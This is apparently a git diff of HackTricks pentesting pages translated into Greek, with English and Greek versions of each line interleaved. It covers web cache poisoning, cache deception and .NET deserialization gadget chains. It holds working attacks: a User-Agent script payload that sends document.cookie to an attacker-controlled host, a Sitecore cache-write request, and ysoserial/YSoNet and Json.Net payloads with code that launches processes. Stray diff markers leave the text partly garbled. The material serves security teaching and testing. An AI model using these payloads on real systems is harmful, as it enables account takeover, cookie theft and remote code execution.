3) Ο αγώνας δρομολόγησης CDN/WAF μαζί με το auto-cached `.js` συχνά σπέρνει ένα poisoned cached HTML variant που στη συνέχεια σερβίρεται σε άλλους επισκέπτες που μοιράζονται τις ίδιες συνθήκες cache key (π.χ., ίδιες `Vary` διαστάσεις όπως `User-Agent`).
1) Από ένα clean IP (αποφύγετε προηγούμενες reputation-based downgrades), ορίστε έναν malicious `User-Agent` μέσω του browser ή Burp Proxy Match & Replace.
2) Στο Burp Repeater, προετοιμάστε μια ομάδα δύο requests και χρησιμοποιήστε "Send group in parallel" (το single-packet mode δουλεύει καλύτερα):
- First request: GET ένα `.js` resource path στο ίδιο origin ενώ στέλνετε τον malicious `User-Agent`.
- Immediately after: GET την κύρια σελίδα (`/`).
3) Ο αγώνας δρομολόγησης του CDN/WAF σε συνδυασμό με το auto-cached `.js` συχνά seeds ένα poisoned cached HTML variant που στη συνέχεια σερβίρεται σε άλλους επισκέπτες που μοιράζονται τις ίδιες συνθήκες cache key (π.χ., ίδιες `Vary` διαστάσεις όπως το `User-Agent`).
Example header payload (to exfiltrate non-HttpOnly cookies):
Παράδειγμα header payload (για exfiltrate non-HttpOnly cookies):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Operational tips:
Λειτουργικές συμβουλές:
- Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
- Using an IP from the CDN's own cloud sometimes improves routing consistency.
- If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.
- Πολλοί CDN αποκρύπτουν τις επικεφαλίδες cache· το poisoning μπορεί να εμφανιστεί μόνο σε κύκλους ανανέωσης πολλών ωρών. Χρησιμοποιήστε πολλαπλά vantage IPs και περιορίστε τον ρυθμό (throttle) για να αποφύγετε triggers όπως ratelimit ή reputation.
- Η χρήση ενός IP από το ίδιο cloud του CDN μερικές φορές βελτιώνει τη συνέπεια δρομολόγησης.
- Αν υπάρχει αυστηρό CSP, αυτό εξακολουθεί να λειτουργεί αν η reflection εκτελείται στο κύριο HTML context και το CSP επιτρέπει inline εκτέλεση ή παρακάμπτεται ανάλογα με το context.
Impact:
Επίπτωση:
- If session cookies arent `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
- Αν τα session cookies δεν είναι `HttpOnly`, είναι δυνατό ένα zero-click ATO με μαζική εξαγωγή του `document.cookie` από όλους τους χρήστες που σερβίρονται το poisoned HTML.
Defenses:
Αντιμετώπιση:
- Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
- Σταματήστε να αντανακλάτε request headers στο HTML· αν δεν είναι δυνατόν, εφαρμόστε αυστηρό contextencoding. Ευθυγραμμίστε τις cache policies του CDN και του origin και αποφύγετε το varying με βάση μη αξιόπιστα headers.
- Βεβαιωθείτε ότι το WAF εφαρμόζει content inspection με συνέπεια σε `.js` requests και static paths.
- Ορίστε `HttpOnly` (και `Secure`, `SameSite`) στα session cookies.
### Sitecore preauth HTML cache poisoning (μη ασφαλής XAML Ajax reflection)
### Sitecore preauth HTML cache poisoning (unsafe XAML Ajax reflection)
Ένα μοτίβο ειδικό για Sitecore επιτρέπει μη αυθεντικοποιημένες εγγραφές στο HtmlCache εκμεταλλευόμενο preauth XAML handlers και AjaxScriptManager reflection. Όταν ο handler `Sitecore.Shell.Xaml.WebControl` προσεγγίζεται, ένα `xmlcontrol:GlobalHeader` (παράγωγο του `Sitecore.Web.UI.WebControl`) είναι διαθέσιμο και η ακόλουθη reflective κλήση επιτρέπεται:
A Sitecorespecific pattern enables unauthenticated writes to the HtmlCache by abusing preauth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
@ -211,43 +211,45 @@ __PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00
```
Αυτό γράφει αυθαίρετο HTML κάτω από ένα attackerchosen cache key, επιτρέποντας ακριβές poisoning μόλις τα cache keys γίνουν γνωστά.
For full details (cache key construction, ItemService enumeration and a chained postauth deserialization RCE):
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Ευάλωτα Παραδείγματα
## Ευπαθή Παραδείγματα
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
Το ATS προώθησε το fragment μέσα στο URL χωρίς να το αφαιρέσει και δημιούργησε το cache key χρησιμοποιώντας μόνο το host, path και query (αγνοώντας το fragment). Έτσι το αίτημα `/#/../?r=javascript:alert(1)` στάλθηκε στο backend ως `/#/../?r=javascript:alert(1)` και το cache key δεν περιείχε το payload, μόνο host, path και query.
Το ATS προώθησε το fragment μέσα στο URL χωρίς να το αφαιρέσει και δημιούργησε το cache key χρησιμοποιώντας μόνο το host, path και query (αγνοώντας το fragment). Έτσι το request `/#/../?r=javascript:alert(1)` στάλθηκε στο backend ως `/#/../?r=javascript:alert(1)` και το cache key δεν περιείχε το payload, μόνο host, path και query.
### GitHub CP-DoS
Η αποστολή μη έγκυρης τιμής στο header content-type προκάλεσε ένα 405 cached response. Το cache key περιείχε το cookie, οπότε ήταν δυνατό να επιτεθεί κανείς μόνο σε unauth users.
Η αποστολή μίας κακής τιμής στο content-type header προκάλεσε μια cache-αρισμένη απάντηση 405. Το cache key περιείχε το cookie, οπότε ήταν δυνατόν να γίνει επίθεση μόνο σε unauth users.
### GitLab + GCP CP-DoS
Το GitLab χρησιμοποιεί GCP buckets για αποθήκευση static content. **GCP Buckets** υποστηρίζουν το **header `x-http-method-override`**. Έτσι ήταν δυνατό να σταλεί το header `x-http-method-override: HEAD` και να poison the cache ώστε να επιστρέψει κενό response body. Μπορεί επίσης να υποστηρίζει τη μέθοδο `PURGE`.
Το GitLab χρησιμοποιεί GCP buckets για την αποθήκευση static content. **GCP Buckets** υποστηρίζουν το **header `x-http-method-override`**. Έτσι ήταν δυνατό να σταλεί το header `x-http-method-override: HEAD` και να poison the cache ώστε να επιστρέψει κενό response body. Μπορούσε επίσης να υποστηρίξει τη μέθοδο `PURGE`.
### Rack Middleware (Ruby on Rails)
Σε εφαρμογές Ruby on Rails χρησιμοποιείται συχνά το Rack middleware. Ο σκοπός του Rack είναι να πάρει την τιμή του header **`x-forwarded-scheme`** και να την θέσει ως scheme του request. Όταν σταλεί το header `x-forwarded-scheme: http`, γίνεται 301 redirect στην ίδια τοποθεσία, ενδεχομένως προκαλώντας Denial of Service (DoS) σε αυτόν τον πόρο. Επιπλέον η εφαρμογή μπορεί να αναγνωρίσει το header `X-forwarded-host` και να κάνει redirect τους χρήστες στον συγκεκριμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στο φόρτωμα JavaScript αρχείων από server του attacker, δημιουργώντας κίνδυνο ασφάλειας.
Σε Ruby on Rails εφαρμογές, Rack middleware συχνά χρησιμοποιείται. Ο σκοπός του Rack code είναι να πάρει την τιμή του **`x-forwarded-scheme`** header και να την ορίσει ως scheme του request. Όταν σταλεί το header `x-forwarded-scheme: http`, γίνεται 301 redirect στην ίδια τοποθεσία, ενδεχομένως προκαλώντας Denial of Service (DoS) σε αυτόν τον πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίζει το `X-forwarded-host` header και να κάνει redirect τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στο φόρτωμα JavaScript αρχείων από τον server ενός attacker, θέτοντας κίνδυνο ασφαλείας.
### 403 and Storage Buckets
Το Cloudflare παλαιότερα cached 403 responses. Η προσπάθεια πρόσβασης σε S3 ή Azure Storage Blobs με λανθασμένα Authorization headers προκαλούσε 403 response που μπήκε στην cache. Αν και το Cloudflare έχει σταματήσει να cache-άρει 403 responses, αυτή η συμπεριφορά μπορεί να υπάρχει ακόμα σε άλλες proxy υπηρεσίες.
Η Cloudflare παλαιότερα cache-άριζε 403 απαντήσεις. Η προσπάθεια πρόσβασης σε S3 ή Azure Storage Blobs με λανθασμένα Authorization headers θα είχε ως αποτέλεσμα μια 403 απάντηση που αποθηκευόταν στην cache. Αν και η Cloudflare σταμάτησε να cache-άρει 403 απαντήσεις, αυτή η συμπεριφορά μπορεί να παραμένει σε άλλες proxy υπηρεσίες.
### Injecting Keyed Parameters
Οι caches συχνά συμπεριλαμβάνουν συγκεκριμένες GET παραμέτρους στο cache key. Για παράδειγμα, η Varnish του Fastly cached την παράμετρο `size` στα requests. Ωστόσο, αν μια URL-encoded έκδοση της παραμέτρου (π.χ. `siz%65`) σταλεί επίσης με λανθασμένη τιμή, το cache key θα χτιστεί χρησιμοποιώντας την σωστή παράμετρο `size`. Παρ' όλα αυτά, το backend θα επεξεργαστεί την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης `size` παραμέτρου οδηγούσε στην παράβλεψή της από την cache αλλά στη χρήση της από το backend. Η ανάθεση τιμής 0 σε αυτήν την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error.
Οι caches συχνά περιλαμβάνουν συγκεκριμένα GET parameters στο cache key. Για παράδειγμα, η Fastly's Varnish cached the `size` parameter in requests. Ωστόσο, αν μια URL-encoded έκδοση της παραμέτρου (π.χ. `siz%65`) στάλθηκε επίσης με λανθασμένη τιμή, το cache key θα κατασκευαζόταν χρησιμοποιώντας τη σωστή `size` παράμετρο. Παρ' όλα αυτά, το backend θα επεξεργαζόταν την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης `size` παράμετρου οδηγούσε στην παράλειψή της από την cache αλλά στη χρήση της από το backend. Το να δοθεί τιμή 0 σε αυτή την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error.
### User Agent Rules
Κάποιοι developers μπλοκάρουν αιτήματα με user-agents που ταιριάζουν σε εργαλεία υψηλής κυκλοφορίας όπως FFUF ή Nuclei για να διαχειριστούν το φόρτο του server. Ειρωνικά, αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες όπως cache poisoning και DoS.
Κάποιοι developers μπλοκάρουν requests με user-agents που αντιστοιχούν σε high-traffic tools όπως FFUF ή Nuclei για να διαχειριστούν το server load. Παραδόξως, αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες όπως cache poisoning και DoS.
### Illegal Header Fields
Το [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) καθορίζει τους αποδεκτούς χαρακτήρες στα ονόματα header. Headers που περιέχουν χαρακτήρες εκτός του καθορισμένου εύρους **tchar** θα έπρεπε ιδανικά να προκαλούν 400 Bad Request response. Στην πράξη, οι servers δεν συμμορφώνονται πάντα με αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, που προωθεί headers με μη έγκυρους χαρακτήρες και cache-άρει οποιοδήποτε 400 error, εφόσον δεν υπάρχει το header `cache-control`. Ένα εκμεταλλεύσιμο pattern εντοπίστηκε όπου η αποστολή ενός header με παράνομο χαρακτήρα, όπως `\`, θα είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error.
[https://datatracker.ietf.mrg/doc/html/rfc7230](https://datatracker.ietf.mrg/doc/html/rfc7230) καθορίζει τους αποδεκτούς χαρακτήρες στα header names. Headers που περιέχουν χαρακτήρες εκτός του καθορισμένου **tchar** εύρους θα έπρεπε ιδανικά να επιστρέφουν μια 400 Bad Request απάντηση. Στην πράξη, οι servers δεν ακολουθούν πάντα αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, που προωθεί headers με μη έγκυρους χαρακτήρες και cache-άρει οποιοδήποτε 400 error, αρκεί να μην υπάρχει το header `cache-control`. Εντοπίστηκε ένα εκμεταλλεύσιμο pattern όπου η αποστολή ενός header με παράνομο χαρακτήρα, όπως `\`, θα είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error.
### Εύρεση νέων headers
@ -255,11 +257,11 @@ __PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00
## Cache Deception
The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
Ο στόχος του Cache Deception είναι να αναγκάσει τους clients να **φορτώνουν resources που πρόκειται να αποθηκευτούν στην cache μαζί με τις ευαίσθητες πληροφορίες τους**.
Καταρχάς να σημειωθεί ότι επεκτάσεις όπως `.css`, `.js`, `.png` κ.λπ. συνήθως είναι ρυθμισμένες να αποθηκεύονται στην cache. Επομένως, αν επισκεφθείτε `www.example.com/profile.php/nonexistent.js`, η cache πιθανότατα θα αποθηκεύσει το response επειδή εντοπίζει την `.js` επέκταση. Όμως, αν η εφαρμογή επιστρέψει τα ευαίσθητα περιεχόμενα χρήστη που βρίσκονται στο _www.example.com/profile.php_, μπορείτε να κλέψετε αυτά τα περιεχόμενα από άλλους χρήστες.
Πρώτα απ' όλα, σημειώστε ότι οι **επεκτάσεις** όπως `.css`, `.js`, `.png` κ.λπ. συνήθως **ρυθμίζονται** ώστε να **αποθηκεύονται** στην **cache.** Επομένως, αν προσπελάσετε `www.example.com/profile.php/nonexistent.js` η cache πιθανότατα θα αποθηκεύσει την απόκριση επειδή βλέπει την `.js` **επέκταση**. Όμως, αν η **εφαρμογή** απαντάει με τα **ευαίσθητα** περιεχόμενα χρήστη που είναι αποθηκευμένα στο _www.example.com/profile.php_, μπορείτε να κλέψετε αυτά τα περιεχόμενα από άλλους χρήστες.
Other things to test:
Άλλα πράγματα για δοκιμή:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
@ -268,17 +270,17 @@ Other things to test:
- _www.example.com/profile.php/%2e%2e/test.js_
- _Use lesser known extensions such as_ `.avif`
Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Στο παράδειγμα εξηγείται ότι αν φορτώσετε μια μη-υπάρχουσα σελίδα όπως _http://www.example.com/home.php/non-existent.css_ το περιεχόμενο του _http://www.example.com/home.php_ (με τις ευαίσθητες πληροφορίες του χρήστη) θα επιστραφεί και ο cache server θα αποθηκεύσει το αποτέλεσμα.\
Στη συνέχεια, ο **attacker** μπορεί να προσπελάσει _http://www.example.com/home.php/non-existent.css_ στον δικό του browser και να δει τις **εμπιστευτικές πληροφορίες** των χρηστών που επισκέφτηκαν προηγουμένως.
Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).
Στο παράδειγμα εξηγείται ότι αν φορτώσετε μία μη-υπάρχουσα σελίδα όπως _http://www.example.com/home.php/non-existent.css_ το περιεχόμενο του _http://www.example.com/home.php_ (**με τις ευαίσθητες πληροφορίες του χρήστη**) θα επιστραφεί και ο cache server θα αποθηκεύσει το αποτέλεσμα.
Στη συνέχεια, ο **attacker** μπορεί να προσπελάσει _http://www.example.com/home.php/non-existent.css_ στον δικό του browser και να παρατηρήσει τις **εμπιστευτικές πληροφορίες** των χρηστών που είχαν πρόσβαση νωρίτερα.
Σημειώστε ότι ο **cache proxy** θα πρέπει να είναι **configured** να cache-άρει αρχεία βάσει της επέκτασης του αρχείου (_.css_) και όχι βάσει του content-type. Στο παράδειγμα _http://www.example.com/home.php/non-existent.css_ το content-type θα είναι `text/html` αντί για `text/css` mime type.
Σημειώστε ότι ο **cache proxy** θα πρέπει να είναι **ρυθμισμένος** να **caches** αρχεία **βασιζόμενος** στην **επέκταση** του αρχείου (_.css_) και όχι με βάση το content-type. Στο παράδειγμα _http://www.example.com/home.php/non-existent.css_ το content-type θα είναι `text/html` αντί για `text/css` mime type.
Μάθετε εδώ πώς να πραγματοποιήσετε [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
Μάθετε εδώ πώς να πραγματοποιήσετε[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Αυτόματα Εργαλεία
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner για να βρει web cache poisoning vulnerabilities σε μια λίστα URL και να δοκιμάσει πολλαπλές τεχνικές injection.
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner για την εύρεση web cache poisoning vulnerabilities σε λίστες URLs και για δοκιμή πολλαπλών injection techniques.
## Αναφορές

View File

@ -1,38 +1,38 @@
# Βασική .Net αποσειριοποίηση (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
# Βασική .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Αυτή η ανάρτηση αφιερώνεται στο **να κατανοήσουμε πώς εκμεταλλεύεται το gadget ObjectDataProvider** για να αποκτηθεί RCE και **πώς** οι βιβλιοθήκες Serialization **Json.Net και xmlSerializer μπορούν να καταχραστούν** με αυτό το gadget.
Αυτό το άρθρο αφιερώνεται στο να **κατανοήσουμε πώς το gadget ObjectDataProvider εκμεταλλεύεται** για να επιτευχθεί RCE και **πώς** οι βιβλιοθήκες Serialization **Json.Net και xmlSerializer μπορούν να καταχραστούν** με αυτό το gadget.
## ObjectDataProvider Gadget
Από την τεκμηρίωση: _η κλάση ObjectDataProvider τυλίγει και δημιουργεί ένα αντικείμενο που μπορείτε να χρησιμοποιήσετε ως binding source_.\
Ναι, είναι μια περίεργη εξήγηση, οπότε ας δούμε τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρον: Η κλάση αυτή επιτρέπει να **τυλίξετε ένα αυθαίρετο αντικείμενο**, να χρησιμοποιήσετε _**MethodParameters**_ για να **ορίσετε αυθαίρετες παραμέτρους**, και στη συνέχεια να **χρησιμοποιήσετε MethodName για να καλέσετε μια αυθαίρετη συνάρτηση** του αυθαίρετου αντικειμένου δηλωμένη χρησιμοποιώντας τις αυθαίρετες παραμέτρους.\
Επομένως, το αυθαίρετο αντικείμενο θα **εκτελέσει** μια **συνάρτηση** με **παραμέτρους κατά τη διάρκεια της αποσειριοποίησης.**
Από την τεκμηρίωση: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
Ναι, είναι μια περίεργη εξήγηση, οπότε ας δούμε τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρον: Αυτή η κλάση επιτρέπει να **τυλίξετε (wrap) ένα αυθαίρετο αντικείμενο**, να χρησιμοποιήσετε _**MethodParameters**_ για να **ορίσετε αυθαίρετες παραμέτρους,** και στη συνέχεια να **χρησιμοποιήσετε MethodName για να καλέσετε μια αυθαίρετη συνάρτηση** του αυθαίρετου αντικειμένου που δηλώθηκε χρησιμοποιώντας τις αυθαίρετες παραμέτρους.\
Επομένως, το αυθαίρετο **object** θα **εκτελέσει** μια **function** με **παραμέτρους κατά τη διάρκεια της απο-σειριοποίησης (deserialization).**
### **Πώς είναι αυτό δυνατό**
Το namespace **System.Windows.Data**, που βρίσκεται μέσα στο **PresentationFramework.dll** στο `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, είναι όπου ο ObjectDataProvider ορίζεται και υλοποιείται.
Ο χώρος ονομάτων **System.Windows.Data**, που βρίσκεται μέσα στο **PresentationFramework.dll** στο `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, είναι όπου ορίζεται και υλοποιείται το ObjectDataProvider.
Χρησιμοποιώντας [**dnSpy**](https://github.com/0xd4d/dnSpy) μπορείτε να **επιθεωρήσετε τον κώδικα** της κλάσης που μας ενδιαφέρει. Στην εικόνα παρακάτω βλέπουμε τον κώδικα του **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
![](<../../images/image (427).png>)
Όπως μπορείτε να παρατηρήσετε, όταν το `MethodName` οριστεί καλείται το `base.Refresh()`, ας ρίξουμε μια ματιά τι κάνει αυτό:
Όπως μπορείτε να παρατηρήσετε όταν οριστεί το `MethodName` καλείται `base.Refresh()`, ας δούμε τι κάνει αυτό:
![](<../../images/image (319).png>)
Εντάξει, συνεχίζουμε να βλέπουμε τι κάνει το `this.BeginQuery()`. Το `BeginQuery` αντικαθίσταται από τον `ObjectDataProvider` και αυτό κάνει:
Εντάξει, ας συνεχίσουμε βλέποντας τι κάνει το `this.BeginQuery()`. Το `BeginQuery` υπερφορτώνεται (overridden) από το `ObjectDataProvider` και αυτό είναι που κάνει:
![](<../../images/image (345).png>)
Σημειώστε ότι στο τέλος του κώδικα καλείται το `this.QueryWorke(null)`. Ας δούμε τι εκτελεί αυτό:
Σημειώστε ότι στο τέλος του κώδικα καλεί `this.QueryWorke(null)`. Ας δούμε τι εκτελεί αυτό:
![](<../../images/image (596).png>)
Σημειώστε ότι αυτός δεν είναι ο πλήρης κώδικας της συνάρτησης `QueryWorker` αλλά δείχνει το ενδιαφέρον μέρος της: Ο κώδικας **καλεί `this.InvokeMethodOnInstance(out ex);`** αυτή είναι η γραμμή όπου η μέθοδος που έχει οριστεί εκτελείται.
Σημειώστε ότι αυτός δεν είναι ο πλήρης κώδικας της συνάρτησης `QueryWorker` αλλά δείχνει το ενδιαφέρον μέρος της: Ο κώδικας **καλεί `this.InvokeMethodOnInstance(out ex);`** αυτή είναι η γραμμή όπου η **ορισμένη μέθοδος εκτελείται**.
If you want to check that just setting the _**MethodName**_** it will be executed**, you can run this code:
Αν θέλετε να ελέγξετε ότι απλώς ορίζοντας το _**MethodName**_ **θα εκτελεστεί**, μπορείτε να τρέξετε αυτόν τον κώδικα:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -52,16 +52,14 @@ myODP.MethodName = "Start";
}
}
```
Σημειώστε ότι πρέπει να προσθέσετε ως αναφορά _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ προκειμένου να φορτωθεί το `System.Windows.Data`
Σημειώστε ότι χρειάζεται να προσθέσετε ως αναφορά _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ για να φορτώσετε `System.Windows.Data`
## ExpandedWrapper
Χρησιμοποιώντας το προηγούμενο exploit θα υπάρξουν περιπτώσεις όπου το **object** θα **αποσειριοποιηθεί ως** ένα _**ObjectDataProvider**_ instance (για παράδειγμα στην DotNetNuke vuln, χρησιμοποιώντας XmlSerializer, το αντικείμενο αποσειριοποιήθηκε χρησιμοποιώντας `GetType`). Τότε, δεν θα υπάρχει **καμία γνώση του τύπου του αντικειμένου που είναι τυλιγμένο** στην _ObjectDataProvider_ instance (`Process` για παράδειγμα). Μπορείτε να βρείτε περισσότερες [πληροφορίες σχετικά με την DotNetNuke vuln εδώ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Χρησιμοποιώντας το προηγούμενο exploit θα υπάρξουν περιπτώσεις όπου το **object** θα απο-σειριοποιηθεί ως μια _**ObjectDataProvider**_ instance (για παράδειγμα στο DotNetNuke vuln, χρησιμοποιώντας XmlSerializer, το αντικείμενο απο-σειριοποιήθηκε χρησιμοποιώντας `GetType`). Έτσι, δεν θα υπάρχει **γνώση του τύπου αντικειμένου που είναι περιτυλιγμένο** στην _ObjectDataProvider_ instance (`Process` για παράδειγμα). Μπορείτε να βρείτε περισσότερες [πληροφορίες για το DotNetNuke vuln εδώ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Αυτή η κλάση επιτρέπει να **καθορίσετε τους τύπους των αντικειμένων που είναι ενσωματωμένα** σε μια δεδομένη περίπτωση. Έτσι, αυτή η κλάση μπορεί να χρησιμοποιηθεί για να encapsulate ένα source object (_ObjectDataProvider_) σε έναν νέο τύπο αντικειμένου και να παρέχει τις ιδιότητες που χρειαζόμαστε (_ObjectDataProvider.MethodName_ και _ObjectDataProvider.MethodParameters_).\
Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε προηγουμένως, επειδή θα είμαστε σε θέση να **περιτυλίξουμε \_ObjectDataProvider**_** μέσα σε μια **_**ExpandedWrapper** \_ περίπτωση και **όταν αποσειριοποιηθεί** αυτή η κλάση θα **δημιουργήσει** το _**OjectDataProvider**_ αντικείμενο που θα **εκτελέσει** τη **συνάρτηση** που υποδεικνύεται στο _**MethodName**_.
Μπορείτε να ελέγξετε αυτό το wrapper με τον ακόλουθο κώδικα:
This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε παραπάνω, γιατί θα είμαστε σε θέση να **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance και **when deserialized** αυτή η κλάση θα **create** το _**OjectDataProvider**_ αντικείμενο που θα **execute** τη **function** που υποδεικνύεται στο _**MethodName**_.
```java
using System.Windows.Data;
using System.Diagnostics;
@ -85,11 +83,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
Στην [επίσημη σελίδα](https://www.newtonsoft.com/json) αναφέρεται ότι αυτή η βιβλιοθήκη επιτρέπει **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Έτσι, αν μπορούσαμε να **deserialize the ObjectDataProvider gadget**, θα μπορούσαμε να προκαλέσουμε **RCE** απλώς deserializing ένα αντικείμενο.
Στην [official web page](https://www.newtonsoft.com/json) αναφέρεται ότι αυτή η βιβλιοθήκη επιτρέπει να **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Έτσι, αν μπορούσαμε να **deserialize the ObjectDataProvider gadget**, θα μπορούσαμε να προκαλέσουμε **RCE** απλά με το deserializing ενός αντικειμένου.
### Json.Net example
### Json.Net παράδειγμα
Πρώτα απ' όλα ας δούμε ένα παράδειγμα για το πώς να **serialize/deserialize** ένα αντικείμενο χρησιμοποιώντας αυτή τη βιβλιοθήκη:
Πρώτα απ' όλα, ας δούμε ένα παράδειγμα για το πώς να **serialize/deserialize** ένα αντικείμενο χρησιμοποιώντας αυτή τη βιβλιοθήκη:
```java
using System;
using Newtonsoft.Json;
@ -132,7 +130,7 @@ Console.WriteLine(desaccount.Email);
}
}
```
### Κατάχρηση του Json.Net
### Κατάχρηση Json.Net
Χρησιμοποιώντας [ysoserial.net](https://github.com/pwntester/ysoserial.net) δημιούργησα το exploit:
```java
@ -147,7 +145,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
Σε αυτόν τον κώδικα μπορείτε να **δοκιμάσετε το exploit**, απλά τρέξτε τον και θα δείτε ότι εκτελείται ένα calc:
Σε αυτόν τον κώδικα μπορείτε να **δοκιμάσετε το exploit**, απλώς τρέξτε το και θα δείτε ότι εκτελείται το calc:
```java
using System;
using System.Text;
@ -184,27 +182,27 @@ TypeNameHandling = TypeNameHandling.Auto
}
}
```
## Προχωρημένες .NET Gadget Chains (YSoNet & ysoserial.net)
## Προηγμένες .NET Gadget Chains (YSoNet & ysoserial.net)
Η τεχνική ObjectDataProvider + ExpandedWrapper που παρουσιάστηκε παραπάνω είναι μόνο μία από ΠΟΛΛΕΣ gadget chains που μπορούν να καταχραστούν όταν μια εφαρμογή εκτελεί **unsafe .NET deserialization**. Σύγχρονα red-team εργαλεία όπως **[YSoNet](https://github.com/irsdl/ysonet)** (και το παλαιότερο [ysoserial.net](https://github.com/pwntester/ysoserial.net)) αυτοματοποιούν τη δημιουργία **έτοιμων προς χρήση κακόβουλων object graphs** για δεκάδες gadgets και μορφές serialization.
Η τεχνική ObjectDataProvider + ExpandedWrapper που παρουσιάστηκε παραπάνω είναι μόνο μία από ΠΟΛΛΕΣ gadget chains που μπορούν να κακοποιηθούν όταν μια εφαρμογή εκτελεί **unsafe .NET deserialization**. Συσκευές για σύγχρονα red-team όπως **[YSoNet](https://github.com/irsdl/ysonet)** (και το παλαιότερο [ysoserial.net](https://github.com/pwntester/ysoserial.net)) αυτοματοποιούν τη δημιουργία **έτοιμων προς χρήση κακόβουλων object graphs** για δεκάδες gadgets και formats σειριοποίησης.
Παρακάτω υπάρχει μια συμπυκνωμένη αναφορά των πιο χρήσιμων chains που περιλαμβάνονται στο *YSoNet* μαζί με μια γρήγορη εξήγηση του πώς λειτουργούν και παραδείγματα εντολών για τη δημιουργία των payloads.
Παρακάτω υπάρχει μια συμπυκνωμένη αναφορά των πιο χρήσιμων chains που συνοδεύουν το *YSoNet* μαζί με μια σύντομη εξήγηση του πώς λειτουργούν και παραδείγματα εντολών για τη δημιουργία των payloads.
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Corrupts the `DelegateSerializationHolder` record so that, once materialised, the delegate points to *any* attacker supplied method (e.g. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
